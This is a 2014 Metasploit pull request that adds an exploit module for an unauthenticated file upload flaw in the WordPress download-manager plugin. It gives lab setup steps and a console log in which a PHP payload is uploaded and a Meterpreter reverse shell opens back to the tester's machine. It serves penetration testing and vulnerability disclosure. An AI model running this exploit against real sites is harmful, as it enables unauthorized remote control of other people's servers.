rapid7/metasploit-framework — pull request #4322 by FireFart (2014-12-05 10:26:01+00:00)
Title: add wordpress download-manager exploit

This module exploits the current file upload in the WordPress download-manager plugin.

Steps to verify:
- [ ] Install Wordpress https://www.firefart.at/how-to-install-wordpress/
- [ ] Get the vulnerable plugin:
```
git clone https://github.com/wp-plugins/download-manager.git /var/www/wordpress/wp-content/plugins/download-manager
cd /var/www/wordpress/wp-content/plugins/download-manager
git checkout d775be087d955ebc4427b3e504f58c6355b6067e
```
or download my packaged version here
https://mega.co.nz/#!L9oRFBaY!w3n4NG92e9oo99bQcDVYoDrAWNhC1h0Fvjq__iZxqpg

(the developer did not tag his versions so there is no official download link)
Code changes to verify the commit hash:
https://github.com/wp-plugins/download-manager/commit/4d1f2a7a5cd944c9f43a6ccd231c2285f74f951e
- [ ] Activate the plugin and run the exploit

Output:
```
msf exploit(wp_downloadmanager_upload) > info

Name: Wordpress Download Manager (download-manager) Unauthenticated File Upload
Module: exploit/unix/webapp/wp_downloadmanager_upload
Platform: PHP
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-12-03

Provided by:
Mickael Nadeau
Christian Mehlmauer

Available targets:
Id Name
-- ----
0 download-manager < 2.7.5

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 10.211.55.39 yes The target address
RPORT 80 yes The target port
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host

Payload information:

Description:
The WordPress download-manager plugin contains multiple
unauthenticated file upload vulnerabilities which were fixed in
version 2.7.5.

References:
http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html
https://wpvulndb.com/vulnerabilities/7706

msf exploit(wp_downloadmanager_upload) > check
[*] 10.211.55.39:80 - The target service is running, but could not be validated.
msf exploit(wp_downloadmanager_upload) > run

[*] Started reverse handler on 10.211.55.2:4444
[*] 10.211.55.39:80 - Uploading payload
[*] 10.211.55.39:80 - File 1417739892wpdm_FtWAbEhxPR.php successfully uploaded
[*] 10.211.55.39:80 - Calling uploaded file /wp-content/uploads/download-manager-files/1417739892wpdm_FtWAbEhxPR.php
[*] Sending stage (40551 bytes) to 10.211.55.39
[*] Meterpreter session 3 opened (10.211.55.2:4444 -> 10.211.55.39:45245) at 2014-12-05 11:15:46 +0100
[+] Deleted 1417739892wpdm_FtWAbEhxPR.php

meterpreter > sysinfo
Computer : wordpress
OS : Linux wordpress 3.13.0-37-generic #64-Ubuntu SMP Mon Sep 22 21:28:38 UTC 2014 x86_64
Meterpreter : php/php
meterpreter >
```